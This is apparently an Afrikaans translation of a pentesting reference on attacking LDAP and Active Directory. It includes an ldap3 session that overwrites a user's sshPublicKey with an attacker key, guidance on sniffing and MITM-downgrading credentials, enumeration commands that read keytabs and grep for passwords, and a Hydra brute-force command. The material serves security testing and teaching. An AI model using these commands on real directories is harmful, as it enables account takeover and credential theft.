Die gebruik van LDAP (Ligte Gids Toegangsprotokol) is hoofsaaklik vir die opsporing van verskeie entiteite soos organisasies, individue, en bronne soos lêers en toestelle binne netwerke, beide openbare en private. Dit bied 'n gestroomlynde benadering in vergelyking met sy voorganger, DAP, deur 'n kleiner kode-afdruk te hê.
LDAP-gidse is gestruktureer om hul verspreiding oor verskeie bedieners toe te laat, met elke bediener wat 'n gerepliseerde en gesinkroniseerde weergawe van die gids huisves, bekend as 'n Gidsisteemagent (DSA). Die verantwoordelikheid vir die hanteer van versoeke lê heeltemal by die LDAP-bediener, wat met ander DSAs kan kommunikeer soos nodig om 'n eenvormige antwoord aan die versoeker te lewer.
Die organisasie van die LDAP-gids lyk soos 'n boomhiërargie, wat begin met die hoofgids bo-aan. Dit tak af na lande, wat verder verdeel in organisasies, en dan na organisatoriese eenhede wat verskeie afdelings of departemente verteenwoordig, en bereik uiteindelik die individuele entiteitevlak, insluitend mense en gedeelde bronne soos lêers en drukkers.
Verstekpoort: 389 en 636 (ldaps). Globale Katalogus (LDAP in ActiveDirectory) is standaard beskikbaar op poorte 3268 en 3269 vir LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) definieer die gidsinhoud as 'n stel rekords. Dit kan ook opdateringsversoeke (Voeg by, Wysig, Verwyder, Hernoem) voorstel.
Lyne 5-8 definieer die eerste vlakdomein moneycorp (moneycorp.local)
Lyne 10-16 definieer 2 organisatoriese eenhede: dev en sales
Lyne 18-26 skep 'n objek van die domein en ken eienskappe met waardes toe
Skryf data
Merk op dat as jy waardes kan wysig, kan jy regtig interessante aksies uitvoer. Byvoorbeeld, stel jou voor jy kan die "sshPublicKey" inligting verander van jou gebruiker of enige gebruiker. Dit is baie waarskynlik dat as hierdie eienskap bestaan, dan lees ssh die openbare sleutels vanaf LDAP. As jy die openbare sleutel van 'n gebruiker kan wysig, sal jy kan aanmeld as daardie gebruiker selfs al is wagwoordverifikasie nie geaktiveer in ssh nie.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/>>> importldap3>>> server=ldap3.Server('x.x.x.x',port=636,use_ssl=True)>>> connection=ldap3.Connection(server,'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN','PASSWORD',auto_bind=True)>>> connection.bind()True>>> connection.extend.standard.who_am_i()u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Sniff duidelike tekskredensials
Indien LDAP sonder SSL gebruik word, kan jy kredensials in duidelike teks aflui in die netwerk.
Verder kan jy 'n MITM-aanval uitvoer in die netwerk tussen die LDAP-bediener en die klient. Hier kan jy 'n Downgrade-aanval uitvoer sodat die klient die kredensials in duidelike teks gebruik om in te teken.
As SSL gebruik word kan jy probeer om 'n MITM soos hierbo genoem te maak, maar 'n vals sertifikaat aan te bied, as die gebruiker dit aanvaar, kan jy die verifikasiemetode afgradeer en die kredensials weer sien.
Anonieme Toegang
Bypass TLS SNI-toets
Volgens hierdie skrywe deur net die LDAP-bediener met 'n willekeurige domeinnaam (soos company.com) te benader, was hy in staat om die LDAP-diens te kontak en inligting as 'n anonieme gebruiker te onttrek:
LDAP anonieme binds maak dit vir ongeagteken attackers moontlik om inligting van die domein te onttrek, soos 'n volledige lys van gebruikers, groepe, rekenaars, gebruikersrekeningseienskappe, en die domein wagwoordbeleid. Dit is 'n ouditiewe konfigurasie, en vanaf Windows Server 2003 word slegs geautehtiseerde gebruikers toegelaat om LDAP-versoeke te inisieer.
Nietemin, kan admins dalk nodig gehad het om 'n spesifieke toepassing op te stel om anonieme binds toe te laat en meer as die bedoelde hoeveelheid toegang te gee, wat gevolglik ongeautehtiseerde gebruikers toegang gee tot alle voorwerpe in AD.
Geldige Gelde
As jy geldige gelde het om in te teken op die LDAP-bediener, kan jy alle inligting oor die Domein Admin dump met behulp van:
Indien die antwoord True is soos in die vorige voorbeeld, kan jy interessante data van die LDAP (soos die naamkonteks of domeinnaam) bediener verkry van:
Windapsearch is 'n Python-skrip wat nuttig is om gebruikers, groepe, en rekenaars van 'n Windows-domein op te som deur LDAP-navrae te gebruik.
# Get computerspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--computers# Get groupspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--groups# Get userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Domain Adminspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Privileged Userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--privileged-users
ldapsearch
Kontroleer nulgelde of indien jou gelde geldig is:
# CREDENTIALS NOT VALID RESPONSEsearch:2result:1Operationserrortext:000004DC:LdapErr:DSID-0C090A4C,comment:Inordertoperformthisoperationasuccessfulbindmustbecompletedontheconnection.,data0,v3839
Indien jy iets vind wat sê dat die "bind voltooi moet word" beteken dit dat die geloofsbriewe verkeerd is.
Om te sien of jy toegang het tot enige wagwoord, kan jy grep gebruik nadat jy een van die navrae uitgevoer het:
<ldapsearchcmd...>|grep-i-A2-B2"userpas"
pbis
Jy kan pbis hier aflaai: https://github.com/BeyondTrust/pbis-open/ en dit word gewoonlik geïnstalleer in /opt/pbis.
Pbis laat jou toe om maklik basiese inligting te kry:
#Read keytab file./klist-k/etc/krb5.keytab#Get known domains info./get-status./lsaget-status#Get basic metrics./get-metrics./lsaget-metrics#Get users./enum-users./lsaenum-users#Get groups./enum-groups./lsaenum-groups#Get all kind of objects./enum-objects./lsaenum-objects#Get groups of a user./list-groups-for-user<username>./lsalist-groups-for-user<username>#Get groups of each user./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group./enum-members--by-name"domain admins"./lsaenum-members--by-name"domain admins"#Get users of each group./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user./adtool-asearch-user--nameCN="*"--keytab=/etc/krb5.keytab-n<Username>|grep"CN"|whilereadline; doecho"$line";./adtool--keytab=/etc/krb5.keytab-n<username>-alookup-object--dn="$line"--attr"description";echo"======================"done
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f